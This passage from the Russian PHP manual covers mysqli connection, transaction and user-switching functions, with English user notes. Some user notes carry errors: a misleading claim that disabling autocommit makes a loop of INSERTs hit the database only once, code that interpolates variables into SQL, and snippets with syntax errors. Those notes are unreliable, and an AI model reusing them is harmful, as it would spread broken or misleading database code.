Therefore the only time you need to explicitly declare an access mode is when you are using MySQL 5.6 and you are sure that you want READ ONLY mode. Note that any queries that attempt to modify tables or issue locks in READ ONLY mode will fail. Temporary tables can still be modified.

(Moderators. This post should replace the previous post that I made on the subject. Thanks.)
VasK@hapir 15-Dec-2018 03:25
The above answer from Ral worked for us, Thanks a lot. This is how we implemented the proposed workaround for

Warning: mysqli_begin_transaction(): This server version doesn't support 'READ WRITE' and 'READ ONLY'. Minimum 5.6.5 is required

We appended the following line to /etc/my.cnf and restarted MySQL server

version=10.2.19-MariaDB
Ral 29-May-2018 05:44
If you receive errors like: "This server version doesn't support 'READ WRITE' and 'READ ONLY'. Minimum 5.6.5 is required" with versions of MariaDB that DO support them, this is due to an internal check in mysqli conflicting with a hack in MariaDB to allow replication with oracle mysql.

MariaDB prefixes its server version numbers with "5.5.5-" for example "5.5.5-10.3.7-MariaDB-1:10.3.7+maria~stretch". This is because oracle mysql would interpet the "10" as version 1. Mysql clients aware of MariaDB have been updated to detect and strip this prefix.

However the check for mysqli.begin-transaction sees the 5.5.5 prefix and so fails.

The workaround is to specify a custom version string without the prefix for MariaDB on the command line using the --version option. Then mysqli.begin-transaction functions as expected.
Luc 20-Sep-2016 02:28
For PHP<5.5:

    mysqli_query($db, "START TRANSACTION");


Позволяет сменить пользователя подключённого к базе данных

  • « mysqli::begin_transaction
  • mysqli::character_set_name »
  • PHP Manual
  • mysqli
  • Позволяет сменить пользователя подключённого к базе данных

mysqli::change_user

mysqli_change_user

(PHP 5, PHP 7, PHP 8)

mysqli::change_user -- mysqli_change_user — Позволяет сменить пользователя подключённого к базе данных

Описание

Объектно-ориентированный стиль

public mysqli::change_user(string $username, string $password, ?string $database): bool

Процедурный стиль

mysqli_change_user(
mysqli $mysql,
string $username,
string $password,
?string $database
): bool

Меняет пользователя, от имени которого выполнено подключение к базе данных, и устанавливает текущую базу данных

Для успешной смены пользователя необходимы корректные username и password, а также наличие достаточных прав для работы с базой. Если смена пользователя закончится ошибкой, сохранится текущая авторизация пользователя, до вызова функции.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

username

Имя пользователя для доступа к MySQL

password

Пароль для доступа к MySQL

database

Имя базы данных

Если требуется сменить пользователя без выбора базы данных, следует указывать null. Для выбора базы данных, необходимо использовать функцию mysqli_select_db().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::change_user()

Объектно-ориентированный стиль

<?php

/* создаём подключение к базе данных test */
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Подключение не удалось: %s\n", mysqli_connect_error());
exit();
}

/* устанавливаем переменную a */
$mysqli->query("SET @a:=1");

/* все сбрасываем и выбираем новую базу данных */
$mysqli->change_user("my_user", "my_password", "world");

if ($result = $mysqli->query("SELECT DATABASE()")) {
$row = $result->fetch_row();
printf("База данных по умолчанию: %s\n", $row[0]);
$result->close();
}

if ($result = $mysqli->query("SELECT @a")) {
$row = $result->fetch_row();
if ($row[0] === NULL) {
printf("Значение переменной - NULL\n");
}
$result->close();
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
/* создаём подключение к базе данных test */
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* проверяем соединение */
if (!$link) {
printf("Подключение не удалось: %s\n", mysqli_connect_error());
exit();
}

/* устанавливаем переменную a */
mysqli_query($link, "SET @a:=1");

/* все сбрасываем и выбираем новую базу данных */
mysqli_change_user($link, "my_user", "my_password", "world");

if ($result = mysqli_query($link, "SELECT DATABASE()")) {
$row = mysqli_fetch_row($result);
printf("База данных по умолчанию: %s\n", $row[0]);
mysqli_free_result($result);
}

if ($result = mysqli_query($link, "SELECT @a")) {
$row = mysqli_fetch_row($result);
if ($row[0] === NULL) {
printf("Значение переменной - NULL\n");
}
mysqli_free_result($result);
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

База данных по умолчанию: world
Значение переменной - NULL

Примечания

Замечание:

В результате вызова функции текущее соединение с базой данных начинает вести себя так, как будто было создано новое соединение. Независимо от результата операции, вызов функции приводит к откату всех активных транзакций, закрытию временных таблиц и разблокировки всех заблокированных таблиц.

Смотрите также

  • mysqli_connect() - Псевдоним mysqli::__construct
  • mysqli_select_db() - Устанавливает базу данных для выполняемых запросов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую кодировку, установленную для соединения с БД

  • « mysqli::change_user
  • mysqli::close »
  • PHP Manual
  • mysqli
  • Возвращает текущую кодировку, установленную для соединения с БД

mysqli::character_set_name

mysqli_character_set_name

(PHP 5, PHP 7, PHP 8)

mysqli::character_set_name -- mysqli_character_set_name — Возвращает текущую кодировку, установленную для соединения с БД

Описание

Объектно-ориентированный стиль

public mysqli::character_set_name(): string

Процедурный стиль

mysqli_character_set_name(mysqli $mysql): string

Возвращает текущую кодировку, установленную для соединения с БД.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Текущая кодировка, установленная для соединения

Примеры

Пример #1 Пример использования mysqli::character_set_name()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Установка кодировки по умолчанию */
$mysqli->set_charset('utf8mb4');

/* Вывод текущей кодировки */
$charset = $mysqli->character_set_name();
printf("Текущая кодировка - %s\n", $charset);
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Установка кодировки по умолчанию */
mysqli_set_charset($mysqli, 'utf8mb4');

/* Вывод текущей кодировки */
$charset = mysqli_character_set_name($mysqli);
printf("Текущая кодировка - %s\n", $charset);

Результат выполнения данных примеров:

Текущая кодировка - utf8mb4

Смотрите также

  • mysqli_set_charset() - Задаёт набор символов
  • mysqli_real_escape_string() - Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения

User Contributed Notes

There are no user contributed notes for this page.


Закрывает ранее открытое соединение с базой данных

  • « mysqli::character_set_name
  • mysqli::commit »
  • PHP Manual
  • mysqli
  • Закрывает ранее открытое соединение с базой данных

mysqli::close

mysqli_close

(PHP 5, PHP 7, PHP 8)

mysqli::close -- mysqli_close — Закрывает ранее открытое соединение с базой данных

Описание

Объектно-ориентированный стиль

public mysqli::close(): true

Процедурный стиль

mysqli_close(mysqli $mysql): true

Закрывает ранее открытое соединение с базой данных.

Открытые непостоянные соединения MySQL и наборы результатов автоматически закрываются при уничтожении их объектов. Явное закрытие открытых соединений и освобождение наборов результатов не обязательно. Однако рекомендуется закрыть соединение, как только скрипт завершит выполнение всех своих операций с базой данных, если ему ещё предстоит большая обработка после получения результатов.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Функция теперь возвращает значение true. Ранее она возвращала значение false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysqli::close()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

/* Закройте соединение, как только оно становится ненужным */
$mysqli->close();

foreach ($result as $row) {
/* Обработка данных, полученных из базы данных */
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($mysqli, "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

/* Закройте соединение, как только оно становится ненужным */
mysqli_close($mysqli);

foreach ($result as $row) {
/* Обработка данных, полученных из базы данных */
}

Примечания

Замечание:

mysqli_close() не закрывает постоянные соединения. Для получения подробностей смотрите руководство по persistent connections.

Смотрите также

  • mysqli::__construct() - Устанавливает новое соединение с сервером MySQL
  • mysqli_init() - Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()
  • mysqli_real_connect() - Устанавливает соединение с сервером mysql
  • mysqli_free_result() - Освобождает память, занятую результатами запроса

User Contributed Notes

There are no user contributed notes for this page.


Фиксирует текущую транзакцию

  • « mysqli::close
  • mysqli::$connect_errno »
  • PHP Manual
  • mysqli
  • Фиксирует текущую транзакцию

mysqli::commit

mysqli_commit

(PHP 5, PHP 7, PHP 8)

mysqli::commit -- mysqli_commit — Фиксирует текущую транзакцию

Описание

Объектно-ориентированный стиль

public mysqli::commit(int $flags = 0, ?string $name = null): bool

Процедурный стиль

mysqli_commit(mysqli $mysql, int $flags = 0, ?string $name = null): bool

Фиксирует транзакцию для установленного соединения с базой данных.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

flags

Битмаска констант MYSQLI_TRANS_COR_*.

name

Если передан, то выполняется COMMIT/*name*/.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
8.0.0 | name теперь допускает значение null.

Примеры

Смотрите пример использования в разделе mysqli::begin_transaction().

Примечания

Замечание:

Функция не работает с нетранзакционными типами таблиц (такими как MyISAM или ISAM).

Смотрите также

  • mysqli_autocommit() - Включает или отключает автоматическую фиксацию изменений базы данных
  • mysqli_begin_transaction() - Стартует транзакцию
  • mysqli_rollback() - Откат текущей транзакции
  • mysqli_savepoint() - Установите именованную точку сохранения транзакции

User Contributed Notes

zattechnology at gmail dot com 15-May-2019 02:23
When you have alot of transactions to make, say you are applying inserting items to the database from a loop, it will be better to use the mysqli_commit for this kind of process as it will only hit the database once.

//Wrong way
Example 1:

$con = mysqli_connect("host", "username", "password", "database") or die("Could not establish connection to database");

$users = ["chris", "james", "peter", "mark", "joe", "alice", "bob"]

for($i=0; $i<count($users); $i++){
       $user= $users[$i];
       $query = mysqli_query($con, "INSERT INTO users (username) VALUES ('$user') ");
}

//Correct Way
Example 2

$con = mysqli_connect("host", "username", "password", "database") or die("Could not establish connection to database");

$users = ["chris", "james", "peter", "mark", "joe", "alice", "bob"]

//Turn off autocommit
mysqli_autocommit($con, FALSE)

//Make some transactions
for($i=0; $i<count($users); $i++){
     $user= $users[$i];
     $query = mysqli_query($con, "INSERT INTO users (username) VALUES ('$user') ");
}

//Make a one-time hit to the database
mysqli_commit($con)

As with the Example 1, since we had 7 items in the list, this means that their will be a 7 times hit to our database which can really affect performance. But with the Example 2, since we already turned off autocommit this means that the transactions will be queued ontill will explicitly call mysqli_commit($con)
NoMan2000 27-May-2015 02:51
This is to clarify the Flags parameters and what they mean:

MYSQLI_TRANS_COR_AND_CHAIN:

Appends "AND CHAIN" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_AND_NO_CHAIN:

Appends "AND NO CHAIN" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_RELEASE:

Appends "RELEASE" to mysqli_commit or mysqli_rollback.

MYSQLI_TRANS_COR_NO_RELEASE:

Appends "NO RELEASE" to mysqli_commit or mysqli_rollback.

To clarify those options:

The AND CHAIN clause causes a new transaction to begin as soon as the current one ends, and the new transaction has the same isolation level as the just-terminated transaction.

The RELEASE clause causes the server to disconnect the current client session after terminating the current transaction.
snchzantonio at gmail dot com 16-Aug-2013 05:38
I never recomend to use the ? with only one value variant like: $var = expression ? $var  : other_value or $var = expression ? null  : other_value ,and php suport Exception catchin so,use it :)

here my opinion abut lorenzo's post:

  <?php

//variants combined

$mysqli->autocommit(FALSE);

try{

  $mysqli->query("INSERT INTO myCity (id) VALUES (100)") or throw new Exception('error!');

// or we can use

  if( !$mysqli->query("INSERT INTO myCity (id) VALUES (200)"){
    throw new Exception('error!');
  }

}catch( Exception $e ){
  $mysqli->rollback();
}
$mysqli->commit();

?>
Bob Johnson 10-Sep-2009 10:42
The compactness of Lorenzo's code is admirable.
However, it is a good idea to also check  $mysqli->affected_rows to make sure that the INSERT statement did not fail.

<?php
$result_query = @mysqli_query($query, $connect);
                if (($result_query == false) &&
                   (mysqli_affected_rows($connect) == 0))
                 {
                    // verify the query executed completely and verify that it
                    // had impact on the table

                    $success = false;

                    // here also, the developer could choose to add a ROLLBACK
                    // statement
                }
?>
mvanlamz 31-Mar-2009 11:36
Please note that calling mysqli::commit() will NOT automatically set mysqli::autocommit() back to 'true'.

This means that any queries following mysqli::commit() will be rolled back when your script exits.
Lorenzo - webmaster AT 4tour DOT it 11-Feb-2009 03:12
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


Возвращает код ошибки последней попытки соединения

  • « mysqli::commit
  • mysqli::$connect_error »
  • PHP Manual
  • mysqli
  • Возвращает код ошибки последней попытки соединения

mysqli::$connect_errno

mysqli_connect_errno

(PHP 5, PHP 7, PHP 8)

mysqli::$connect_errno -- mysqli_connect_errno — Возвращает код ошибки последней попытки соединения

Описание

Объектно-ориентированный стиль

int $mysqli->connect_errno;

Процедурный стиль

mysqli_connect_errno(): int

Возвращает код ошибки последней попытки подключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Код ошибки последней попытки подключения. При отсутствие ошибок выводит 0.

Примеры

Пример #1 Пример использования $mysqli->connect_errno

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_OFF);

/* @ используется для подавления предупреждений */
$mysqli = @new mysqli('localhost', 'fake_user', 'wrong_password', 'does_not_exist');

if ($mysqli->connect_errno) {
/* Используйте предпочитаемый вами метод регистрации ошибок */
error_log('Ошибка соединения: ' . $mysqli->connect_errno);
}
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_OFF);

/* @ is used to suppress warnings */
$link = @mysqli_connect('localhost', 'fake_user', 'wrong_password', 'does_not_exist');

if (!$link) {
/* Используйте предпочитаемый вами метод регистрации ошибок */
error_log('Ошибка соединения: ' . mysqli_connect_errno());
}
?>

Смотрите также

  • mysqli_connect() - Псевдоним mysqli::__construct
  • mysqli_connect_error() - Возвращает описание последней ошибки подключения
  • mysqli_errno() - Возвращает код ошибки последнего вызова функции
  • mysqli_error() - Возвращает строку с описанием последней ошибки
  • mysqli_sqlstate() - Возвращает код состояния SQLSTATE последней MySQL операции

User Contributed Notes

There are no user contributed notes for this page.


Возвращает описание последней ошибки подключения

  • « mysqli::$connect_errno
  • mysqli::__construct »
  • PHP Manual
  • mysqli
  • Возвращает описание последней ошибки подключения

mysqli::$connect_error

mysqli_connect_error

(PHP 5, PHP 7, PHP 8)

mysqli::$connect_error -- mysqli_connect_error — Возвращает описание последней ошибки подключения

Описание

Объектно-ориентированный стиль

?string $mysqli->connect_error;

Процедурный стиль

mysqli_connect_error(): ?string

Возвращает сообщение об ошибке последней попытки подключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сообщение об ошибке. null, если ошибка отсутствует.

Примеры

Пример #1 Пример использования $mysqli->connect_error

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_OFF);

/* @ используется для подавления предупреждений */
$mysqli = @new mysqli('localhost', 'fake_user', 'wrong_password', 'does_not_exist');

if ($mysqli->connect_error) {
/* Используйте предпочитаемый вами метод регистрации ошибок */
error_log('Ошибка при подключении: ' . $mysqli->connect_error);
}
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_OFF);

/* @ используется для подавления предупреждений */
$link = @mysqli_connect('localhost', 'fake_user', 'wrong_password', 'does_not_exist');

if (!$link) {
/* Используйте предпочитаемый вами метод регистрации ошибок */
error_log('Ошибка при подключении: ' . mysqli_connect_error());
}
?>

Смотрите также

  • mysqli_connect() - Псевдоним mysqli::__construct
  • mysqli_connect_errno() - Возвращает код ошибки последней попытки соединения
  • mysqli_errno() - Возвращает код ошибки последнего вызова функции
  • mysqli_error() - Возвращает строку с описанием последней ошибки
  • mysqli_sqlstate() - Возвращает код состояния SQLSTATE последней MySQL операции

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает новое соединение с сервером MySQL

  • « mysqli::$connect_error
  • mysqli::debug »
  • PHP Manual
  • mysqli
  • Устанавливает новое соединение с сервером MySQL

mysqli::__construct

mysqli::connect

mysqli_connect

(PHP 5, PHP 7, PHP 8)

mysqli::__construct -- mysqli::connect -- mysqli_connect — Устанавливает новое соединение с сервером MySQL

Описание

Объектно-ориентированный стиль

public mysqli::__construct(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
)
public mysqli::connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
): bool

Процедурный стиль

mysqli_connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
): mysqli|false

Устанавливает соединение с работающим сервером MySQL.

Список параметров

hostname

Может быть либо именем хоста, либо IP-адресом. При передаче null, значение извлекается из mysqli.default_host. По возможности вместо протокола TCP/IP будут использоваться каналы. Протокол TCP/IP используется, если указаны и имя хоста и номер порта, например, localhost:3308.

Если перед именем хоста задать строку p:, то будет открыто постоянное соединение. Если соединение открыто из пула подключений, будет автоматически вызвана функция mysqli_change_user().

username

Имя пользователя MySQL или null для принятия имени пользователя на основе ini-опции mysqli.default_user.

password

Пароль MySQL или null для принятия пароля на основе ini-опции mysqli.default_pw.

database

База данных по умолчанию, которая будет использоваться при выполнении запросов или null.

port

Номер порта для попытки подключения к серверу MySQL или null для принятия порта на основе ini-опции mysqli.default_port.

socket

Сокет или именованный пайп, который необходимо использовать или null для принятия сокета на основе ini-опции mysqli.default_socket.

Замечание:

Передача параметра socket не будет явно задавать тип соединения при подключении к серверу MySQL. То, как будет устанавливаться соединение с MySQL-сервером, определяется параметром hostname.

Возвращаемые значения

mysqli_connect() возвращает объект, который представляет соединение с сервером MySQL или false в случае возникновения ошибки.

mysqli::connect() возвращает true в случае успешного выполнения или false в случае возникновения ошибки. До PHP 8.1.0 в случае успешного выполнения возвращалось значение null.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
8.1.0 | Метод mysqli::connect() теперь возвращает значение true вместо null в случае успешного выполнения.
7.4.0 | Все параметры теперь допускают значение null

Примеры

Пример #1 Пример использования mysqli::__construct()

Объектно-ориентированный стиль

<?php

/* Вы должны включить отчёт об ошибках для mysqli, прежде чем пытаться установить соединение */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');

/* Установите желаемую кодировку после установления соединения */
$mysqli->set_charset('utf8mb4');

printf("Успешно... %s\n", $mysqli->host_info);
?>

Процедурный стиль

<?php

/* Вы должны включить отчёт об ошибках для mysqli, прежде чем пытаться установить соединение */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

/* Установите желаемую кодировку после установления соединения */
mysqli_set_charset($mysqli, 'utf8mb4');

printf("Успешно... %s\n", mysqli_get_host_info($mysqli));

Результатом выполнения данных примеров будет что-то подобное:

Успешно... localhost via TCP/IP

Пример #2 Расширение класса mysqli

<?php

class FooMysqli extends mysqli {
public function __construct($host, $user, $pass, $db, $port, $socket, $charset) {
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
parent::__construct($host, $user, $pass, $db, $port, $socket);
$this->set_charset($charset);
}
}

$db = new FooMysqli('localhost', 'my_user', 'my_password', 'my_db', 3306, null, 'utf8mb4');

Пример #3 Ручная обработка ошибок

Если отчёты об ошибках отключены, разработчик несёт ответственность за проверку и обработку ошибок

Объектно-ориентированный стиль

<?php

error_reporting(0);
mysqli_report(MYSQLI_REPORT_OFF);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');
if ($mysqli->connect_errno) {
throw new RuntimeException('ошибка соединения mysqli: ' . $mysqli->connect_error);
}

/* Установите желаемую кодировку после установления соединения */
$mysqli->set_charset('utf8mb4');
if ($mysqli->errno) {
throw new RuntimeException('ошибка mysqli: ' . $mysqli->error);
}

Процедурный стиль

<?php

error_reporting(0);
mysqli_report(MYSQLI_REPORT_OFF);
$mysqli = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');
if (mysqli_connect_errno()) {
throw new RuntimeException('ошибка соединения mysqli: ' . mysqli_connect_error());
}

/* Установите желаемую кодировку после установления соединения */
mysqli_set_charset($mysqli, 'utf8mb4');
if (mysqli_errno($mysqli)) {
throw new RuntimeException('ошибка mysqli: ' . mysqli_error($mysqli));
}

Примечания

Замечание:

MySQLnd всегда подразумевает кодировку, которую использует по умолчанию сервер. Эта кодировка передаётся во время установки соединения/авторизации, которые использует mysqlnd.

Libmysqlclient по умолчанию использует кодировку, установленную в файле my.cnf или явным вызовом функции mysqli_options() до вызова функции mysqli_real_connect(), но после вызова функции mysqli_connect().

Замечание:

Если используется Объектно-ориентированный стиль: Если соединение установить не удалось, метод всё равно вернёт объект. Проверить успешность создания подключения можно либо функцией mysqli_connect_error() или с помощью свойства mysqli->connect_error, как показано в примерах.

Замечание:

Если необходимо задать дополнительные параметры подключения, вроде времени ожидания и т.п., то вместо этого метода необходимо использовать функцию mysqli_real_connect().

Замечание:

Вызов конструктора без параметров идентичен вызову функции mysqli_init().

Замечание:

Ошибка "Can't create TCP/IP socket (10106)" обычно означает, что директива конфигурации variables_order не содержит символ E. В Windows системах, если окружение не скопировано, переменная среды SYSTEMROOT будет недоступна, и у PHP возникнут проблемы с загрузкой Winsock.

Смотрите также

  • mysqli_real_connect() - Устанавливает соединение с сервером mysql
  • mysqli_options() - Установка настроек
  • mysqli_connect_errno() - Возвращает код ошибки последней попытки соединения
  • mysqli_connect_error() - Возвращает описание последней ошибки подключения
  • mysqli_close() - Закрывает ранее открытое соединение с базой данных

User Contributed Notes

arnold at nijboer dot it 31-Dec-2022 12:17
public mysqli::__construct(
    string $hostname = ini_get("mysqli.default_host"),
    string $username = ini_get("mysqli.default_user"),
    string $password = ini_get("mysqli.default_pw"),
    string $database = "",
    int $port = ini_get("mysqli.default_port"),
    string $socket = ini_get("mysqli.default_socket")
)

the mysqli construct looks at the Master PHP.ini values.
if you're using a local ini overwrite of some sort add the ini_get to you're php script:
$mysqli = new mysqli(ini_get("mysqli.default_host"),ini_get("mysqli.default_user"),ini_get("mysqli.default_pw"))
powtac at gmx de 11-Jul-2018 04:25
Be careful, mysqli_connect() does not return a resource ! It returns an instance of the mysqli class (http://php.net/manual/class.mysqli.php) The old mysql_connect() function did return a resource.
php at haravikk dot me 01-Oct-2017 06:58
Just wanted to add a note for anyone looking to use the MySQLi persistent connections feature; it's important to note that PHP opens and retains one connection per database user per process.

What this means is that if you are hosting multiple applications, each with its own database user (as is good practice) then you will end up multiplying the number of connections that PHP may hold open.

For example, if you have PHP configured with a maximum of eight worker processes, and you regularly use four different database users, then your MySQL server will need to accept at LEAST a maximum of 32 connections, or else it will run out.

However, if you would like to minimise the number of connections, what you can do is instead is to open the connection using a "guest" user (with no privileges except logging in) and then use ->change_user() to switch to a more privileged user, before switching back to the guest when you're done. Since all of the connections would therefore belong to the guest user, PHP should only maintain one per worker process.
chris at ocproducts dot com 21-Apr-2017 05:46
There's a separate port parameter, unlike mysql_connect. However, using host:port on the host parameter does actually work.

There is a caveat. If the host is 'localhost' then the port is ignored, whether you use a port parameter or the implicit syntax I mentioned above. This is because 'localhost' will make it use unix sockets rather than TCP/IP.
PaulieG 02-Feb-2016 06:31
It should be noted that on PHP 7 (v7.0.2 at least), passing the empty string '' for the Port argument while connecting to 'localhost' will prevent the connection from being successful altogether.

To work around this, use 'null'.
webmaster at aryes dot fr 18-Jul-2015 06:58
A friend of mine encountered a sudden bug with CMS Piwigo. I discovered that :
- He had a hosting rule to use PHP 5.6.
- The hoster uses 5.6.6, verified using phpinfo();.
- The CMS declared a database name parameter as null.

That gallery CMS was unable to connect to MySQL and left only a warning message about it.

We tried to revert back to PHP 5.5, the CMS worked again.

Then we switched back to 5.6.6 and changed those lines :

  $dbname = null;

  $mysqli = new mysqli($host, $user, $password, $dbname, $port, $socket);

to

  $dbname = ''; // Use an empty string, not null

  $mysqli = new mysqli($host, $user, $password, $dbname, $port, $socket);

It worked!

So if you made the same mistake, using null where the manual invites to use an empty string, you should consider correcting your code.
Ben 03-Mar-2015 11:28
A far more secure and language independent way of connecting to mysql is to use the READ_DEFAULT_FILE options. This passes the workload over to the mysql library, which allows for the configuration file itself to be outside of the scope of the language.

The config file itself is something like this:
[client]
user=user_u
password=user_password
host=dbhost
port=3306
database=the_database
default-character-set=utf8

The following code fragment (in OO mysql_i format)

$sqlconf='/var/private/my.cnf';
$sql = new mysqli;
$sql->init();
$sql->options(MYSQLI_READ_DEFAULT_FILE,$sqlconf);
$sql->real_connect();
linguafranca2003 at yahoo dot com 28-Nov-2014 05:21
mysqli can succeed in surprising ways, depending on the privileges granted to the user. For example,

GRANT USAGE ON *.* TO 'myuser'@'localhost' IDENTIFIED BY PASSWORD 'mypassword';
GRANT ALL PRIVILEGES ON `database_a`.* TO 'myuser'@'localhost';
CREATE DATABASE database_b;

<?php
$db = new mysqli('localhost', 'myuser', 'mypassword', 'database_b');

if ($db->connect_error) {
        die('Connect Error (' . $db->connect_errno . ') '
            . $mysqli->connect_error);
}

printf("SQLSTATE: %s\n", $this->db->sqlstate);
printf("Warning Count: %s\n", $db->warning_count);
$db->close();
?>

Will output:

SQLSTATE: 00000
Warning Count: 0

So, life is good — you're connected to the database and executing mysqli methods. Except, life isn't good, because you aren't actually using database_b because myuser doesn't have any privileges on it. You won't catch this until you try to perform a later operation, when you'll get an error, "MYSQL Error: No database selected", and find yourself scratching your head and thinking "what do you mean, of course I have a database selected; I selected one when I called the constructor".

As a result, you may want to perform an additional check after connecting to mysql, to confirm that you're actually connected not just to the mysql server, but to the actual database:

<?php
$db = new mysqli('localhost', 'myuser', 'mypassword', 'database_b');

if ($db->connect_error) {
        die('Connect Error (' . $db->connect_errno . ') '
            . $mysqli->connect_error);
} elseif ($result = $db->query("SELECT DATABASE()")) {
        $row = $result->fetch_row();
        if ($row[0] != 'database_b') {
                //oops! We're connected to mysql, but not to database_b
        }
}
?>
andres at 21brains dot com 03-Jun-2014 09:39
Please do use set_charset("utf8") after establishing the connection if you want to avoid weird string issues. I do not know why the documentation does not warn you about this kind of stuff.

We had a hard time figuring out what was going on since we were using mb_detect_encoding and it said everything was UTF-8, but of course the display was wrong. If we used iconv from ISO-8859-1 to UTF-8 the strings looked fine, even though everything in the database had the right collation. So in the end, it was the connection that was the filter and although the notes for this function mention default charsets, it almost reads as a sidenote instead of a central issue when dealing with UTF and PHP/MySQL.
fugyl13 at gmail dot com 01-Apr-2014 04:41
Note that on all >=Windows 7 Servers, a host name "localhost" will create a very expensive lookup (~1 Second).

That's because since Windows 7, the hosts file doesn't come with a preconfigured
127.0.0.1 localhost
anymore

So, if you notice a long connection creation, try "127.0.0.1" instead.
paul at mtnlist dot com 02-Jun-2013 08:19
If you want to connect via an alternate port (other than 3306), as you might when using an ssh tunnel to another host, using "localhost" as the hostname will not work.

Using 127.0.0.1 will work.  Apparently, if you specify the host as "localhost", the constructor ignores the port specified as an argument to the constructor.
oleg at mastak dot fi 19-Apr-2013 01:02
If you want to connect to local named pipe on windows and you get error "php_network_getaddresses: getaddrinfo failed: No such host is known. ", even if you using using "." as host, please check your if you are using mysqlnd driver: If this is true, then probably you need to update to version 5.4 of php:

Named pipes support for Windows was added in PHP version 5.4.0.
@ http://php.net/manual/en/mysqlnd.overview.php

Hopefully that will save you some time.
Anonymous 13-Sep-2009 05:37
If you get an error like
  Can't connect to MySQL server on 'localhost' (10061)
and you use named pipes/socket connections (or aren't sure how you installed the MySQL server) try the following connect command:

<?php
mysqli_connect('.', $user_name, $password, $database_name, null, 'mysql');
?>

The '.' as hostname is absolutely necessary when using named pipes. 'localhost' won't work. 'mysql' is the standard name for the pipe/socket.


Выполняет процедуры отладки

  • « mysqli::__construct
  • mysqli::dump_debug_info »
  • PHP Manual
  • mysqli
  • Выполняет процедуры отладки

mysqli::debug

mysqli_debug

(PHP 5, PHP 7, PHP 8)

mysqli::debug -- mysqli_debug — Выполняет процедуры отладки

Описание

